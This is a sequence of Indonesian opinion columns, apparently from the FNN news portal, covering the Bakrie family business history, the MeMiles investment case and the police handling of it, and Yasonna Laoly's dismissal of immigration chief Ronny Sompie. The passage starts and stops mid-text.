ditumpangkannya ke sebuah truk untuk dijual. Makanan itu ditawarkan ke Telukbetung, distrik perniagaan di selatan kota Bandar Lampung. Setelah lulus dan mengantongi ijazah dari HIS, Achmad Bakrie kemudian bekerja pada Kantor Kontrolir Lampung Tengah di Sukadana. Tak lama kemudian, dia pindah ke NV Van Gorkom, sebuah perusahaan Swasta Belanda di Bandar Lampung. Dua tahun berkarir di perusahaan tersebut, Achmad Bakrie telah mendapatkan banyak ilmu penting terutama tentang organisasi modern. Kemudian dia melanjutkan pendidikan ke Handelsinstituut Schoevers di Jakarta. Setelah belajar di Ibukota Jakarta, Achmad Bakrie kemudian bekerja di apotek Zuid Sumatera Apotheek di Telukbetung. Hingga pada masa itu, kedatangan penjajah Jepang membawa berkah bagi dirinya. Di era penjajahan Jepang di Indonesia, justru banyak membantu kelancaran usaha Achmad Bakrie. Setelah apotek dimana dia bekerja bangkrut, obat yang tersisa di apotik tersebut dibeli olehnya. Beberapa waktu kemudian saat harga kebutuhan medis naik, Achmad Bakrie menjualnya kembali. Kemudian uang hasil berdagang obat itulah yang menjadi modal awal usahanya. Pada 10 Februari 1942, Achmad Bakrie sukses merambah bisnis jual-beli kopi, lada, tepung singkong, dan hasil bumi lain. Inilah yang menjadi cikal bakal berdirinya Bakrie & Brother General Merchant And Commission Agent di Telukbetung. Pada tahun 1952, NV Bakrie & Brother masih digunakan sebagai simbol bisnis. Namun pada dekade 1970-an, NV berubah status menjadi sebuah Perseroan Terbatas (PT). Aburizal Bakrie sebagai anak tertua, ikut terjun mengelola bisnis milik sang ayah. Seiring dengan berjalannya waktu, kelompok usaha Bakrie pun mengalami pertumbuhan pesat hingga menjadi beberapa perusahaan. Seperti PT Bumi Resources Tbk, PT Bakrie Sumatera Plantations Tbk,masing-masing di bidang pengolahan sumber daya alam, PT Bakrie & Brothers Tbk sebagai induk usaha (holding), VIVA dan MDIA sebagai perusahaan media dan PT Bakrieland Development, anak perusahaan yang bergerak di bidang properti. Semua usaha tersebut, sempat meraup pendapatan sebesar Rp 11,95 Triliun. Dari berjualan roti, Achmad Bakrie sukses mengembangkan bisnisnya hingga bernilai triliunan rupiah di masa depan. Berkat kecerdikan dan keahliannya melihat situasi, dia berhasil menjadi pengusaha besar di Indonesia. Memang, segala sesuatu yang besar, pasti dimulai dari yang kecil. Achmad Bakrie lahir di Kalianda, Lampung Selatan 11 Januari 1914. Beliau meninggal dalam usia 83 tahun, tepatnya tanggal 15 Desember 1997, di Tokyo, Jepang. Achmad Bakrie meninggal saat Indonesia dilanda krisis moneter dan krisis ekonomi. Berbeda dengan cerita perjalanan hidup orangtuanya yang penuh perjuangan, Aburizal Bakrie sebagai anak tertua dari keluarga Achmad Bakrie hidup nyaman dan mendapat pendidikan terbaik. Setelah menyelesaikan kuliah di Fakultas Elektro Institut Teknologi Bandung (ITB) tahun 1973, Ical memilih fokus mengembangkan perusahaan keluarga, dan terakhir sebelum menjadi anggota kabinet, ia memimpin Kelompok Usaha Bakrie dari tahun 1992 hingga 2004. Dengan demikian, Ical praktis memimpin perusahaan keluarganya hanya dalam waktu 12 tahun saja. Sekarang tampuk pimpinan perusahaan dikelola oleh dua adik kandung Ical yakni Nirwan D. Bakrie dan Indra Usmansyah Bakrie. Saat ini Bakrie Group dipimpin oleh Nirwan Abkrie sebagai Chairman dan Indra U. Bakrie sebagai Co-Chairman. Berbeda dengan Ical, kedua adiknya itu jarang tampil di media. Ketika saya masih aktif sebagai wartawan ekonomi pada tahun 1990-an, kinerja kelompok usaha Bakrie sedang berjaya. Ketika itu, Bakrie Group sedang melakukan transformasi dari manajemen keluarga (family business) ke manajemen modern dan lebih mengedepankan aspek profesionalisme. Waktu itu perusahaan ini sengaja merekrut tenaga profesional papan atas yakni Tanri Abeng, dimana kala itu beliau dikenal sebagai "Manajer Satu Milyar". Di internal keluarga Bakrie waktu itu, tidak mudah melakukan transformasi perusahaan. Dalam kultur perusahaan keluarga, semua pegawai Bakrie Grup adalah juga bagian dari keluarga Bakrie. Pernah suatu waktu Tanri Abeng tidak hadir dalam acara ulang tahun Ny Roosniah Nasution, ibunda Aburizal Bakrie. Kemudian Ibu Roosniah pun mempertanyakan ketidakhadiran Tanri Abeng tersebut kepada Ical. Lalu Ical menjelaskan kepada ibunya bahwa perayaan ulang tahun ini merupakan acara keluarga, bukan acara perusahaan sehingga Tanri Abeng tidak perlu datang. Aburizal Bakrie termasuk salah satu pengusaha pribumi yang dibesarkan Pemerintah Orde Baru melalui kebijakan Ginandjar Kartasasmita yang ketika itu menjabat sebagai Menteri Muda Urusan Peningkatan Produksi Dalam Negeri (UP3DN) pada periode 1983-1988 dan Ketua Badan Koordinasi Penanaman Modal (BKPM) pada 1985-1988. Selain Ical, pengusaha pribumi yang besar karena fasilitas pemerintah diantaranya Arifin Panigoro (Grup Medco), dan Fadel Muhammad (Bukaka Grup). Pada periode itu, Ginandjar tak ragu mamasukkan pengusaha pribumi dalam berbagai proyek pemerintah. Para pengusaha pribumi tersebut sering pula dijuki sebagai “The Jhony Boy”. Pengusaha pribumi lainnya yang juga pernah dibesarkan melalui pemberian fasilitas dari pemerintah Orde Baru adalah Fahmi Idris, Abdul Latief, Pontjo Sutowo, dan Soegeng Sarjadi. Kelompok Usaha Bakrie di usianya ke 78 bukan hanya milik keluarga Bakrie tetapi juga merupakan tempat bekerja para tenaga profesional dan karyawan Bakrie yang kini mencapai sekitar 70.000 orang. Saat ini generasi ketiga keluarga Bakrie juga sudah ikut terlibat menangani jalannya perusahaan. Kedua anak Aburizal Bakrie yakni Anindya Bakrie dan Ardiansyah Bakrie sudah diberi tanggung jawab untuk mengelola perusahaan. Anindya Bakrie (46) saat ini menjabat sebagai Direktur Bakrie Group. Dia juga merupakan pendiri sekaligus CEO dari Visi Media Asia (VIVA) Group yang mengelola stasiun televisi TvOne dan ANTV, serta portal berita VIVA.co.id. Di samping mengurus perusahaan, Anin panggilan Anindya Bakrie juga aktif di organisasi pengusaha sebagai Wakil Ketua Kadin Indonesia. Sementara putra bungsi Ical yakni Ardiansyah Bakrie (40), dipercaya sebagai Presiden Direktur TvOne sejak tahun 2007 sampai sekarang. Akankah Kelompok Usaha Bakrie ini bisa terus maju dan berkembang hingga usia 100 tahun atau lebih ? Hal itu sangat ditentukan oleh proses regenerasi pimpinan perusahaan pribumi ini. Jika pimpinan dan pengelola Bakrie Group fokus menjalankan perusahaan, niscaya bisa tumbuh berkembang sesuai dengan tuntutan dan tantangan zaman. Sebaliknya jika keluarga besar Bakrie generasi pewaris perusahaan tergiur lagi dengan dunia politik praktis, jangan berharap reputasi perusahaan ini bisa moncer seperti ketika masih dikelola oleh Achmad Bakrie dulu. Semoga. Penulis wartawan senior.

Grup Bakrie di Tengah Redupnya Pengusaha Pribumi (bag 1)

Oleh: Tjahja Gunawan Jakarta, FNN - Pada tahun 1990-an, Grup Bakrie merupakan salah satu perusahaan milik pribumi yang sedang melesat bagaikan meteor. Kinerja perusahaan yang didirikan Achmad Bakrie tanggal 10 Februari 1942 itu, memang menimbulkan decak kagum banyak kalangan sehinga wajar kalau waktu itu banyak orang yang berebut untuk memiliki saham perusahaan-perusahaan milik Bakrie&Brothers melalui pasar modal. Aburizal Bakrie atau biasa dipanggil Ical, sebagai generasi kedua penerus perusahaan merupakan figur yang merepresentasikan sosok pengusaha pribumi sekaligus sebagai nakhoda Bakrie & Brothers. Sehingga tidak heran kalau sejumlah pengusaha non pribumi merasa gelisah melihat perkembangan usaha Grup Bakrie, mereka juga khawatir menyaksikan sepak terjang Ical waktu itu. Maka kemudian pada tahun 1994, para konglomerat non pribumi tersebut melakukan manuver politik. Mereka menekan Presiden Soeharto agar Aburizal Bakrie tidak terpilih kembali menjadi Ketua Umum Kamar Dagang dan Industri (KADIN). Gerakan ini benar benar secara politis didorong oleh motivasi untuk menggusur para pengusaha pribumi dari pucuk pimpinan KADIN. Buktinya, Liem Sioe Liong dan Bob Hasan, yang sebenarnya juga pengusaha yang dibesarkan Soeharto, ikut-ikutan menekan Soeharto agar Aburizal Bakrie disingkirkan dari kepemimpinan KADIN. Untunglah, pada waktu itu para pengusaha pribumi yang dekat dengan Soeharto seperti Sukamdani Sahid Gitosarjono dan kerabat dekat Soeharto, pengusaha Probosutejo (Ketua Umum HIPPI), secara solid membela Aburizal Bakrie agar tetap memimpin KADIN untuk kedua kalinya. Namun tiga tahun kemudian atau tepatnya pada pertengahan tahun 1997, para pengusaha nasional termasuk Ical diterpa krisis moneter yang kemudian meluas menjadi krisis multidimensi yang akhirnya membawa pada proses kejatuhan rezim Orde Baru dibawah Presiden Soeharto pada bulan Mei 1998. Ketika itu banyak perusahaan yang bangkrut dan gelombang PHK terjadi di mana-mana.Kebangkrutan perusahaan nasional waktu itu antara lain karena banyak perusahaan yang mengalami krisis likuiditas dan utang yang menumpuk termasuk Grup Bakrie. Bahkan akibat krisis keuangan yang dahsyat waktu itu, Ical mengibaratkan dirinya hanya tinggal memiliki “celana kolor”. Hampir semua aset perusahaan Grup Bakrie diambil alih Badan Penyehatan Perbankan Nasional (BPPN), lembaga khusus yang dibentuk untuk merestrukturisasi perbankan dan perusahaan-perusahaan nasional. Lembaga ini dibentuk tahun 1999 saat Presiden RI dijabat oleh Prof Dr. BJ Habibie. Krisis moneter merupakan hantaman terberat sekaligus pelajaran berharga bagi para pengusaha nasional. Waktu itu banyak perusahaan yang collapse karena struktur usahanya memang rapuh. Usaha dan bisnis mereka banyak yang didirikan hanya dengan modal utang saja. Celakanya, utang perusahaan nasional waktu itu bukan hanya bersumber dari perbankan domestik tetapi juga dari lembaga keuangan dan perbankan internasional. Kendati demikian, periode krisis tersebut berhasil dilalui perusahaan besar. Setelah direstrukturisasi BPPN, secara bertahap sejumlah perbankan dan perusahaan nasional mulai bangkit kembali tidak terkecuali perusahaan milik Kelompok Usaha Bakrie. Secara perlahan sejumlah perusahaan di dalam negeri mulai recovery dan kegiatan ekonomi dan bisnis berjalan kembali dengan normal sehingga perekonomian nasional bisa bertumbuh positif setelah sebelumnya mengalami konstraksi atau bertumbuh secara negatif. Menurut daftar yang dirilis Majalah Forbes pada tahun 2007, Bakrie adalah orang terkaya di Indonesia. Bahkan menurut majalah Globe Asia tahun 2008, Bakrie adalah orang terkaya di Asia Tenggara. Namun, krisis keuangan global yang terjadi tahun 2008, telah menjatuhkan peringkat Ical sebagai predikat orang kaya. Dan pada tahun 2012, Ical pun tidak lagi bertengger di daftar orang terkaya di Indonesia. Pada krisis ekonomi tahun 1998, Grup Bakrie berhasil lolos dan bangkit dari keterpurukan. Namun rupanya, pada krisis keuangan global tahun 2008, perusahaan ini tidak bisa melakukan recovery dengan cepat seperti halnya pasca krisis ekonomi tahun 1998. Ketika melakukan kilas balik ke belakang sambil mengingat interaksi saya sebagai wartawan dengan Kelompok Usaha Bakrie , ternyata pada tahun 1998 Aburizal Bakrie selain merasakan langsung dampak krisis ekonmi dia juga waktu itu ikut terlibat langsung dalam proses restrukturisasi dan penyelesaian utang perusahaan. Situasi tersebut berbeda dengan saat krisis keuangan global tahun 2008 dimana kala itu Ical tidak lagi in charge langsung menangani kesulitan yang dialami perusahannya karena sejak tahun 2004 ayah dari Anindya Bakrie, Ditha Bakrie dan Ardi Bakrie ini, telah memutuskan untuk mengakhiri kariernya di dunia usaha. Dia lebih tergiur dan terpincut dengan dunia politik praktis, lalu Ical pun masuk ke jajaran Kabinet Indonesia Bersatu sebagai Menko Bidang Perekonomian pada tahun 2004 bersamaan dengan terpilihnya Susilo Bambang Yudhoyono sebagai Presiden RI ke-6. Setahun kemudian, Ical posisinya bergeser menjadi Menko Bidang Kesejahteraan Rakyat. Karir politik Ical terus meroket setelah dia terpilih sebagai Ketua Umum Partai Golkar tahun 2009, menggantikan Jusuf Kalla. Waktu dan energi Ical pun betul-betul tercurah sepenuhnya untuk mengurus partai. Lalu pada tahun 2012, dia ditetapkan sebagai calon presiden Partai Golkar pada Pemilu Presiden Indonesia tahun 2014. Sebenarnya sejak tahun 2004, sosok Ical sudah berubah dari semula sebagai pengusaha menjadi politisi atau penguasa. Sejak itu Aburizal Bakrie sudah menyatakan secara resmi mengundurkan diri dari dunia usaha. Dan khalayak umum pun menyematkan sebutan padanya sebagai pengusaha-penguasa atau Pengpeng. Adakah yang salah dengan pilihan Ical ? Tentu tidak !. Namun yang jelas, dunia usaha dan bisnis sangat berbeda jauh dengan dunia politik praktis. Salah satu perbedaan menonjol antara seorang pengusaha dan politisi adalah soal reputasi. Di dunia bisnis, reputasi dan kredibilitas seorang pengusaha merupakan modal utama dalam memperluas jejaring usaha dan bekal penting dalam berinteraksi dengan mitra usaha. Sebalikya di dunia politik praktis, reputasi seorang politisi sangat dipengaruhi oleh kepentingan kekuasaan. Sehinggaa berlakulah ungkapan yang sudah diketahui masyarakat luas: “Di dunia politik, tidak ada kawan dan lawan yang abadi, yang ada adalah kepentingan kekuasaan”. Dalam dunia politik, para politisi berlomba bahkan saling sikut-sikutan untuk meraih kursi kekuasaan sebaliknnya di dunia usaha dan bisnis para pengusaha berlomba untuk meraih keuntungan (profit). Bagi pengusaha tertentu yang memiliki idealisme, totalitas mereka dalam memajukan usaha dan bisnisnya dimaksudkan untuk membuka sebanyak-banyaknya lapangan kerja dan bukan semata untuk mengeruk keuntungan bagi dirinya sendiri dan keluarganya saja. (bersambung) Penulis wartawan senior.

Kasus MeMiles, “Kapolda Jatim Permalukan Polisi”

By Kisman Latumakulita Yth. Pembaca setia Portal Berita FNN.co.id yang budiman, khususnya member MeMiles,,, Dengan Hormat !!! Mengingat tulisan dengan judul “Kasus MeMiles, Kapolda Jatim Permalukan Polisi” kini punya frekwensi pembaca yang tinggi. Sejak ditayangkan Jum’at sore 31 Januari 2020, sekitar pukul 16.00 WIB sampai saat ini Senin 3 Februari 2020, pukul 15,18 WIB telah dibaca 16.855 kali. Dan yang memberikan tanggapan sebanyak 242 kali. Dari jumlah tanggapan yang masuk, sekitar 99% menyatakan sangat sangat dan sangat diutungkan dengan adanya MeMiles. Sebaliknya, hanya sekitar 1% menolak kehadiran Memiles. Mereka yang yang menyatakan diuntungkan perekonominan mereka, terutama ibu-ibu para janda yang menanggung dan menghidupi sendiri anak-anaknya, yang jumlahnya antara 2-5 orang Berkaitan dengan itu, Redaksi Portal Berita FNN.co.id telah memutuskan untuk melanjutkan tulisan MeMiles tersebut dari berbagai sudut pandang. Misalnya, 1. aspek hukum secara keseluruhan, khususnya dari sudut pandang tata negara, 2. kaitan dengan persaingan di pelaku bisnis top up, 3. skema piramida ponzi, 4. dampak keberadaan dan penutupan MeMiles terhadap perekonomian nasional, khususnya 270.000 an para member MeMiles. Untuk itu, kami sangat membutuhkan data-data untuk mendukung penulisan nanti. Misalnya, akte pendirian PT. Kim and Kim, SIUP PT. Kim and Kim, SITU PT. Kim and Kim dan NPWP PT. Kim and Kim. Begitu juga dengan cerita-cerita para members tentang manfaat atau keuntungan yang sudah didapat dari menjadi members MeMiles Data-data tersebut sangat penting bagi kami. Tujuannya, untuk menghindari kami menulis dengan sebutan “mengarang bebas dotcom”. Artinya, tulisan yang kami tulis tidak diperkuat dengan data-data pendukung yang memadai. Kalau punya data dan cerita tentang MiMiles, tolong japri ke Kisman Latumakulita, telepon/WA 0813-87517000 atau Sri Widodo, telepon/WA 0812- 82312841 Terima kasih atas kesediaannya. Semoga bisa bermanfaat menolong dan membenatu, amin amin amin Salam Hormat !!! Jakarta, FNN - MeMiles, yang disebut sebagai aplikasi investasi, menghebohkan Indonesia. Perkaranya sederhana. Investasi ini dianggap bodong. Tetapi entah bagaimana tersiar kabar terdapat sejumah selebriti ikut di dalamnya. Bahkan Ari Sigit, seorang keluarga Cendana disebut ikut dalam investasi ini. Ari, dalam berbagai berita, telah mendapat mobil dari keikutsertaan di Memiles. Entah sebagai komisi atau bonus. Tidak hanya Ari, selebriti lain, bahkan politisi di Senayan juga ikut berinvestasi di MeMiles. Politisi ini, dalam sejumlah berita mungkin akan diminta keterangannya oleh penyidik. Gali lobang tutup lobang. Begitulah sebagian orang menyebut pola ini, entah investasi atau bukan. Uang dari anggota baru, dipakai menutup uang dari peserta sebelumnya. Begitu katanya. Namun apa iya begitu? Disitu soalnya. Hanya dalam delapan bulan PT. Kam and Kam yang menyelenggarakan MeMiles telah berhasil meraup uang dari anggotanya sebanyak Rp 750 miliar. Pada saat penangkapan, penyidik berhasil menyita uang sebesar Rp 122 miliar. Luki Hermawan, yang berpangkat Irjen Polisi, dan menjabat sebagai Kapolda Jawa Timur menyebut selama delapan bulan beroperasi, MeMiles berhasil menarik sebanyak 264 ribu anggota (Liputan6.com 18/1/2020). Sistem kerja invesatasi ini, setiap anggota yang berhasil merekrut anggota baru mendapat komisi dan bonus dari perusahaan. Jika ingin memasang iklan, anggota harus memasang top up, dan dana dimasukan ke rekening PT. Kam and Kam. Dengan melakukan top up, anggota bakal memperoleh bonus bernilai besar. Dana yang masuk antara Rp 50.000. (lima puluh ribu rupiah) hingga Rp 200.000.000 (dua ratus juta rupiah). Anggota banyak tergiur karena bonus yang bakal (Liputan6.com 18/1/2020). Masalahnya adalah apa betul orang yang “katanya” top up Rp 50.000 atau Rp 200.000, benar-benar memperoleh bonus? Terlepas dari apapun bentuknya. Bila bonus atau reward berbentuk barang seperti mobil, motor, hand phone tentu bisa disita. Tetapi bagaimana bila yang diterima sebagai bonus itu bentuknya umroh? Bagaimana menyita umroh? Itu masalahnya. Itulah soalnya, yang mau tidak mau Pak Kapolda harus menjelaskannya secara rasional. Apalagi dalam kasus ini sesuai berita yang beredar, ada kemungkinan diterapkan Tindak Pidana Pencucian Uang (TPPU). Ini semakin menambah persoalan baru lagi. Ini berarti Kapolda harus dapat menjelaskan bahwa bonus atau reward yang diterima mereka itu adalah uang illegal. Mereka yang telah menerima bonus dan sejenisnya itu adalah bagian integral dari perbuatan kejahatan. Itu berarti Kapolda harus dapat pastikan bahwa usaha ini illegal. Ada orang tergiur dengan bonus sehingga berlomba menjadi anggota MeMiles. Apakah bonus sebagai godaan itu salah? Ini juga persoalan lain Pak Kapolda. Tetapi yang paling penting adalah apakah orang-orang itu benar-benar mendapat bonus atau apapun namanya dari uang top up, yang menurut berita di atas masuk ke dalam rekening PT. Kam and Kam yang menyelenggarakan apilkasi investasi itu? Ini semakin rumit Pak Kapolda. Kenapa menjadi rumit? Apakah dengan beli atau top up itu sama dengan berinvestasi? Bila itu investasi, apakah sebelum top up mereka telah dijelaskan bahwa dengan menaruh uang disini, dan anda akan dapat uang berlipat-lipat? Meski demikian, lupakah pembicaraan yang menunjukan bahwa PT. Kam and Kam meyakinkan atau mengajak orang berinvestasi. Persoalannya bila mereka mendapat manfaat, bonus atau reward atau apapun namanya lebih besar dari uang yang di top up tersebut. Apakah mendapatkan dengan keuntungan yang lebih besar dari modal dikeluarkan itu adalah salah Pak Kapolda? Padahal mereka, anggota-anggota tersebut merasa ini masuk akal. Taruh uang kecil, tetapi pada saat tertentu dapatnya lebih banyak. Kan itu masuk akal Pak Kapolda. Bila begitu adanya, apanya yang salah Pak Kapolda? Dimana letak bohongnya? Dimana letak kerugian orang yang melakukan top up? Kalau tidak top up, bagaimana mereka bisa pasang iklan di market place?, Lalu soalnya barang apa yang diiklankan, dan punya siapa barang itu? Kalau barang yang diiklankan itu punya anggota, dan melalui iklan tersebut barangnya ternyata dapat dibeli orang. Lalu apanya yang salah Pak Kapolda? Dimana posisi kerugian anggota Pak Kapolda? Sebagai jurnalis yang memulai karir di bidang ekonomi, dari Harian Ekonomi NERACA, dan sering meliput di Pasar Modal, kasus ini menjadi menarik. Apalagi penydik menggunakan pasal 24 jo pasal 106 dan pasal 105 jo 9 Undang-Undang No. 7 Tahun 2014 tentang Perdagangan. Kabar terakhir, pinyidik Krimsus Polda Jawa Timur juga menggunakan pasal 46 ayat (1) dan ayat (2) jo pasal 16 ayat (1) Undang-Undang No. 10 tahun 1998 Tentang Perubahan Undang-Undang No. 7 Tahun 1992 tentang Perbankan dalam kasus MeMiles ini (Kompas, 16/1/2020). Kalau dicek pasal 106 jo pasal 24 dan atau pasal 105 jo psl 105 Undang-Undang No. 7 Tahun 2014 tentang Perdagangan, itu bercerita tentang perdagangan tanpa izin. Sedangkan khusus pasal 9 jo pasl 105 itu bercerita tentang perdagangan dengan skema berjenjang. Kalau perdagangan tanpa izin, maka yang bertanggung jawab adalah yang melakukan perdagangan itu. Itu berarti, anggota yang melakukan top up, sama dengan membeli jasa yang didagangkan oleh pedagang. Pedagang dalam hal ini adalah PT. Kam and Kam. Orang yang membeli atau top up, mungkin mengajak orang lain untuk ikut top up. Apakah dengan mengajak orang lain ini masuk dalam kategori skema perdagangan berjenjang? Bagi saya ini persoalan lain yang semakin serius Pak Kapolda. Ini bukan persoalan kecil. Kalau beli atau top up, yang tak tahu bahwa pelaku perdagangan itu tak memiliki izin, atau perdagangan itu bersifat skema berjenjang, apakah orang ini juga salah? Orang yang tidak tahu hal-ihwal perusahan, ikut disalakan? Mereka membeli dari pedagangan yang menjalankan usahanya tanpa izin. Pak Kapolda tolong tunjukan, ada aturan hukum di planet mana, bila orang yang mau membeli sesuatu barang harus memperoleh izin terlebih dahulu sebelum membeli? Kalau sampai itu terjadi, bisa rusak tatanan pedagangan dan ekonomi bangsa ini Pak Kapolda. Indonesia bakal menjadi negara dengan sistem perdagangan paling aneh di muka bumi ini, karena membeli harus dengan izin. Pak Kapolda Jawa Timur sebaiknya membaca lagi berulang-ulang Undang-Undang No. 7 Tahun 2014 Tentang Perdagangan. Sebab di undang-udang perdagangan ini, tidak ditemukan ada satu pasalpun yang mengatur izin bagi pembeli. Atau pembeli harus mendapatkan izin terlebih dulu sebelum membeli. Rasanya tidak masuk akal, harus menghukum pembeli, Pak Kapolda. Hanya karena membeli barang dari usaha yang tidak punya izin. Walau bukan sarjana hukum, rasanya tidak mungkin menyalahkan pembeli yang membeli barang dari pedagang, termasuk perusahaan yang menjalankan usaha tanpa izin usaha. Sebaliknya kalau usaha ini dikatakan usaha perbankan, menghimpun dana masyarakat tanpa izin, maka persoalannya juga sama. Yaitu bukan nasabah yang harus diminta bertanggung jawab. Menurut saya yang harus tanggung jawab adalah yang menyelenggarakan usaha perbankan itu. Memang sekilas orang bisa menyatakan atau menyamakan usaha Kam and Kam itu layaknya usaha perbankan. Tetapi menurut saya ini juga menjadi persoalan lain. Tidak ada instrument, misalnya deposito, kliring, penarikan uang melalui ATM, atau penarik secara manual, atau lainnya sebagai lazimnya unit usaha perbankan. Uang memang masuk ke rekening PT. Kam and Kam, tetapi rasanya tidak tepat disebut usaha ini sebagai usaha perbankan. Tidak mungkin, karena tidak ada uang yang ditarik seperti penarikan uang di bank. Kalau diperhatikan berita-berita yang dikutip di atas, seperti uangnya anggota yang dipakai untuk top up, tidak lagi menjadi miliki pembeli top up. Jadi bagaimana disamakan dengan usaha perbankan? Dalam usaha perbankan uang nasabah, sampai kapanpun tetap sebagai uang nasabah. Itu sebabnya nasabah dapat menarik, dan mengambil kembali uang itu kapan pun nasabah mau. Inilah yang saya sebut kasus ini sangat menarik Pak Kapolda. Anehnya lagi, uang yang disita ditujukan kepada masyarakat. Nah ini juga menarik Pak Kapolda. Yang saya tidak mengerti adalah uang yang disita itu sangat besar nilainya. Besarannya mencapai ratusan miliar. Bukan soal sitanya dan besaran atau jumlah uang disita. Bukan itu Pak Kapolda. Yang menjadi soal adalah uang yang disita tersebut. Dengan jumlahnya yang sangat luar biasa besar itu dibawa ke Polda Jawa Timur. Ditunjukan kepada publik sebagai barang sitaan. Rasa-rasanya tidak begitu juga Pak Kapolda. Yang saya tahu, sebagai wartawan yang beralih meliput di bidang hukum dan politik, terutama ketika di Majalah FORUM Keadilan, sita uang di bank dilakukan hanya dengan cara memblokir rekening para tersangka. Uangnya tidak diambil atau dikeluarkan dari bank, seperti yang dilakukan Polda Jawa Timur. Uangnya tetap dibiarkan di rekening itu dengan status disita. Ada soal lain lagi Pak Kapolda. Yaitu penyitaan terhadap mobil. Yang saya tahu, hanya mobil yang telah disita. Yang menarik adalah jumlah mobilnya tidak seberapa. Kalau tidak salah tidak lebih dari enam unit mobil. Soalnya mengapa hanya mobil yang disita. Penyidik Krimsus Polda Jatim tahu bahwa ada mereka yang melakukan top up itu dapat mobil, motor dan hand phone, bahkan ada yang dapat umrah. Mengapa motor, hand phone, dan lainnya tidak disita Pak Kapolda. Kalau jumlah anggotanya dua ratus ribu lebih, tentu motor dan hand phone, harusnya telah banyak. Nah yang motor, hand phone, dan umroh disita apa tidak Pak Kapolda? Ini harus dijelaskan Pak Kapolda. Apa pertimbangan yang Kapolda punyai sehingga Polda Jawa Timur perlu menunjukan uang itu, dalam arti dibawa ke Polda. Saya tidak ingin bertanya tentang ditaruh dimana uang itu saat ini, karena saya yakin akan ditaruh di bank dalam status uang sitaan, atau barang sitaan. Tetapi tetap Kapolda harus jelaskan tindakan penyidiknya membawa fisik itu ke Polda. Saya mengusulkan Pak Kapolri memerintahkan pengawas penyidikan untuk turun ke Polda Jawa Timur. Demi menjaga marwah Kepolisian yang sedang diusahakan terus menerus oleh Pak Kapolri saat ini, ada baiknya Pak Kapolri bentuk tim pengawas ke Polda Jawa Timur untuk memastikan semua tindakan penyidikan, penerapan pasal, dan penyitaan yang uangnya dibawa ke Polda, masuk akal secara hukum. Penulis adalah Wartawan Senior Kapolda Jawa Timur Irjen Polisi Luki Hermawan

Yasonna Laoly Dipukul KO, Ronny Sompie Terkapar

By Asyari Usman Jakarta, FNN - Ada pertanda virus Corona masuk ke Indonesia. Menkumham Yasonna Laoly, kemarin (28/1/2020) memecat Dirjen Imigrasi Ronny Sompie. Jhoni Ginting ditunjuk sebagai pelaksana harian (Plh). Tanpa bertanya mengapa dipecat, Anda tentu masih ingat perihal simpangsiur keberadaan Harun Masiku –tersangka penyuap bekas komisioner KPU, Wahyu Setiawan. Harun sampai sekarang belum juga “bisa ditangkap” KPK meskipun sudah berada di Indonesia. Sekadar mengingatkan, ketika KPK mau menangkap Harun pada 8 Januari 2020, Yasonna mengatakan kader PDIP yang menyogok komisioner KPU itu sedang berada di luar negeri. Tepatnya di Singapura. Padahal, berbagai sumber resmi mengatakan Harun ada di Indonesia. Harun pergi ke Singapura pada 6 Januari, pulang ke Jakarta keesokan harinya, 7 Januari. Waktu itu dia diduga bersembunyi di kompleks PTIK. Mengapa Ronny Sompie dipecat? Pertama, Ronny lupa bahwa dalam kasus Harun Masiku ini, Yasonna cenderung memposisikan dirinya sebagai petugas PDIP. Jadi, otomatis dia membawa misi #SelamatkanPDIP. Dalam hal ini, Yasonna seolah menjadikan Kemenkumham sebagai bagian dari struktur PDIP. Artinya, Yasonna pun berharap Ronny Sompie menjadi “orang PDIP” juga dalam ribut-ribut soal Harun. Agar bertindak sesuai misi Yasonna. Di sinilah kekeliruan Ronny. Beliau ini abai membaca “mode switching” (perubahan moda) Yasonna dari Menteri Kumham ke petugas PDIP. Akibatnya, Ronny Sompie salah langkah. Ronny wrong-footed. Melenceng dari skenario yang sedang tayang. Akibatnya, Ronny bertabrakan “laga kambing” alias “head on” dengan Yasonna. Bagaimana tidak? Pada tanggal 16 Januari 2020, Yasonna mengatakan Harun masih berada di luar negeri. Sebaliknya, Ronny mengatakan bahwa pihak Imigrasi sudah tahu Harun kembali ke Indonesia pada 7 Januari 2020 tetapi datanya terlambat dilaporkan. Kedua, Ronny mempermalukan Pak Bos. Yasonna hancur di mata publik. Tetapi, Pak Menteri masih punya kekuasaan besar. Dia bisa lakukan apa saja terhadap Ronny yang dianggap “menyimpang” dari misi Yasonna sebagai orang partai. Mantan Dirjen Imigrasi yang juga pensiunan polisi berbintang dua (Irjenpol) itu tinggal tunggu waktu. Kemarin, 28 Januari 2020, tibalah waktu yang ditunggu. Yasonna memecat Ronny. Tapi, apakah kesimpangsiuran soal Harun Masiku sudah selesai dengan pemecatan ini? Belum. Masih jauh. Yasonna ingin mengembalikan reputasinya. Dia membentuk tim penyelidik gabungan untuk mengungkap secara “transparan” tentang simpangsiur keberadaan Harun. Dari sisi Ronny pun tidak bisa dikatakan selesai. Bisa saja Ronny akan melakukan manuver “nothing to lose” untuk melawan pemecatan dirinya oleh Yasonna. Bisa jadi Ronny merasa diperlakukan sewenang-wenang oleh Yasonna. Apalagi alasan pemecatan yang disebutkan Yasonna sangat tidak meyakinkan. Yaitu, bahwa Yasonna ingin agar penyelidikan tim gabungan antarlembaga nantinya bisa berjalan lancar tanpa ‘conflict of interest’ kalau Ronny masih menjadi Dirjen Imigrasi. Alasan ini berlebihan. Sebab, tim gabungan itu 99.99% tidak mungkin bisa didekati, apalagi diintervensi, oleh Ronny agar membuat kesimpulan yang menyenangkan dirinya. Sebaliknya, apakah hasil kerja tim gabungan pencari fakta tentang simpangsiur itu akan menguntungkan Yasonna? Dipastikan “big NO”. Tidak akan. Apa pun hasilnya, posisi “luka berat” Yasonna tidak terobati. Sebab, publik sejak awal mencermati perilaku bias Yasonna. Sebagai menteri, apalagi Menteri Hukum, Yasonna menunjukkan tindakan partisan yang hitam-putih, tidak abu-abu, ketika ikut dalam pembentukan tim hukum PDIP terkait kasus Harun Masiku. Di sini, Yasonna jelas, ‘crystal clear’, dan kental sekali mendahulukan kepentingan partainya, PDIP, di atas kepentingan negara, bangsa dan rakyat yang sedang berusaha memberantas korupsi. Dalam hal ini, kepentingan untuk menegakkan hukum ke atas Harun Masiku dan bekas komisioner KPU, Wahyu Setiawan, yang terbukti melakukan sogok-menyogok. Setelah ikut membidani tim hukum PDIP, Yasonna masih meneruskan langkah konyol. Dia menunjukkan bias yang kedua kalinya ketika menerobos masuk terlalu jauh ke perdebatan soal kebedaraan Harun. Di titik ini, Yasonna tidak memposisikan dirinya sebagai pejabat negara. Dia tidak berdiri 